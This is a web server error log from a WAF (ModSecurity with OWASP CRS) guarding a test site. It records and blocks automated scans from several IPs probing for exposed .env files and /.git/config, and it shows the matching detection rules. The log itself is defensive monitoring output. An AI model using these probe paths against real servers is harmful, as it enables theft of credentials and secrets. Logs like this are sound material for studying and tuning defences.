[Sun Feb 23 11:21:53.026038 2025] [:error] [pid 1354090] [client 52.66.240.57:47628] [client 52.66.240.57] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z7r2wX8xQne8Osaqg99TJgAAABQ"]
[Sun Feb 23 11:21:53.027062 2025] [:error] [pid 1354090] [client 52.66.240.57:47628] [client 52.66.240.57] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z7r2wX8xQne8Osaqg99TJgAAABQ"]
[Sun Feb 23 11:21:53.152730 2025] [:error] [pid 1354090] [client 52.66.240.57:47628] [client 52.66.240.57] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "Z7r2wX8xQne8Osaqg99TJwAAABQ"]
[Sun Feb 23 11:21:53.153829 2025] [:error] [pid 1354090] [client 52.66.240.57:47628] [client 52.66.240.57] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "Z7r2wX8xQne8Osaqg99TJwAAABQ"]
[Sun Feb 23 11:21:53.154356 2025] [:error] [pid 1354090] [client 52.66.240.57:47628] [client 52.66.240.57] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "Z7r2wX8xQne8Osaqg99TJwAAABQ"]
[Sun Feb 23 11:21:53.276031 2025] [:error] [pid 1354090] [client 52.66.240.57:47628] [client 52.66.240.57] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z7r2wX8xQne8Osaqg99TKAAAABQ"]
[Sun Feb 23 11:21:53.276940 2025] [:error] [pid 1354090] [client 52.66.240.57:47628] [client 52.66.240.57] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z7r2wX8xQne8Osaqg99TKAAAABQ"]
[Sun Feb 23 11:21:53.277381 2025] [:error] [pid 1354090] [client 52.66.240.57:47628] [client 52.66.240.57] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z7r2wX8xQne8Osaqg99TKAAAABQ"]
[Thu Feb 27 15:47:01.110571 2025] [:error] [pid 1444805] [client 45.148.10.166:41986] [client 45.148.10.166] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z8B65d1R35lcOnai7ZlJfwAAAAA"]
[Thu Feb 27 15:47:01.110574 2025] [:error] [pid 1445620] [client 45.148.10.166:41976] [client 45.148.10.166] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z8B65eZcgn7iRdiyvWmW2gAAAAo"]
[Thu Feb 27 15:47:01.112700 2025] [:error] [pid 1444805] [client 45.148.10.166:41986] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z8B65d1R35lcOnai7ZlJfwAAAAA"]
[Thu Feb 27 15:47:01.113180 2025] [:error] [pid 1444805] [client 45.148.10.166:41986] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z8B65d1R35lcOnai7ZlJfwAAAAA"]
[Thu Feb 27 15:47:01.113225 2025] [:error] [pid 1445620] [client 45.148.10.166:41976] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z8B65eZcgn7iRdiyvWmW2gAAAAo"]
[Thu Feb 27 15:47:01.113656 2025] [:error] [pid 1445620] [client 45.148.10.166:41976] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z8B65eZcgn7iRdiyvWmW2gAAAAo"]
[Thu Feb 27 15:47:01.414992 2025] [:error] [pid 1444805] [client 45.148.10.166:41986] [client 45.148.10.166] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z8B65d1R35lcOnai7ZlJgAAAAAA"]
[Thu Feb 27 15:47:01.415308 2025] [:error] [pid 1444805] [client 45.148.10.166:41986] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z8B65d1R35lcOnai7ZlJgAAAAAA"]
[Thu Feb 27 15:47:01.415567 2025] [:error] [pid 1444805] [client 45.148.10.166:41986] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z8B65d1R35lcOnai7ZlJgAAAAAA"]
[Thu Feb 27 15:47:01.479675 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "Z8B65fHy0mwrVDgsmeskCgAAAAE"]
[Thu Feb 27 15:47:01.480145 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "Z8B65fHy0mwrVDgsmeskCgAAAAE"]
[Thu Feb 27 15:47:01.480434 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "Z8B65fHy0mwrVDgsmeskCgAAAAE"]
[Thu Feb 27 15:47:01.720832 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z8B65fHy0mwrVDgsmeskCwAAAAE"]
[Thu Feb 27 15:47:01.721088 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z8B65fHy0mwrVDgsmeskCwAAAAE"]
[Thu Feb 27 15:47:01.721299 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z8B65fHy0mwrVDgsmeskCwAAAAE"]
[Thu Feb 27 15:47:01.801667 2025] [authz_core:error] [pid 1444806] [client 45.148.10.166:42000] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Thu Feb 27 15:47:01.883205 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z8B65fHy0mwrVDgsmeskDQAAAAE"]
[Thu Feb 27 15:47:01.883460 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z8B65fHy0mwrVDgsmeskDQAAAAE"]
[Thu Feb 27 15:47:01.883669 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z8B65fHy0mwrVDgsmeskDQAAAAE"]
[Thu Feb 27 15:47:02.521154 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "Z8B65vHy0mwrVDgsmeskDwAAAAE"]
[Thu Feb 27 15:47:02.521405 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "Z8B65vHy0mwrVDgsmeskDwAAAAE"]
[Thu Feb 27 15:47:02.521613 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "Z8B65vHy0mwrVDgsmeskDwAAAAE"]
[Thu Feb 27 15:47:02.603869 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z8B65vHy0mwrVDgsmeskEAAAAAE"]
[Thu Feb 27 15:47:02.604141 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z8B65vHy0mwrVDgsmeskEAAAAAE"]
[Thu Feb 27 15:47:02.604335 2025] [:error] [pid 1444806] [client 45.148.10.166:42000] [client 45.148.10.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z8B65vHy0mwrVDgsmeskEAAAAAE"]
[Thu Feb 27 17:10:43.343584 2025] [:error] [pid 1445621] [client 18.133.175.70:45572] [client 18.133.175.70] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z8COg2G7Dh2zFNpJKWI6UwAAAAs"]
[Thu Feb 27 17:10:43.343989 2025] [:error] [pid 1445621] [client 18.133.175.70:45572] [client 18.133.175.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z8COg2G7Dh2zFNpJKWI6UwAAAAs"]
[Thu Feb 27 17:10:43.344237 2025] [:error] [pid 1445621] [client 18.133.175.70:45572] [client 18.133.175.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z8COg2G7Dh2zFNpJKWI6UwAAAAs"]
[Sun Mar 09 19:17:27.432553 2025] [:error] [pid 1661337] [client 45.148.10.237:48224] [client 45.148.10.237] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z83bN0DqCpAfbNQ_tz1thQAAAAg"]
[Sun Mar 09 19:17:27.434938 2025] [:error] [pid 1661337] [client 45.148.10.237:48224] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z83bN0DqCpAfbNQ_tz1thQAAAAg"]
[Sun Mar 09 19:17:27.435376 2025] [:error] [pid 1661337] [client 45.148.10.237:48224] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z83bN0DqCpAfbNQ_tz1thQAAAAg"]
[Sun Mar 09 19:17:27.532343 2025] [:error] [pid 1661010] [client 45.148.10.237:48260] [client 45.148.10.237] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z83bN6dqfb713GEcCO4g7QAAAAI"]
[Sun Mar 09 19:17:27.532983 2025] [:error] [pid 1661010] [client 45.148.10.237:48260] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z83bN6dqfb713GEcCO4g7QAAAAI"]
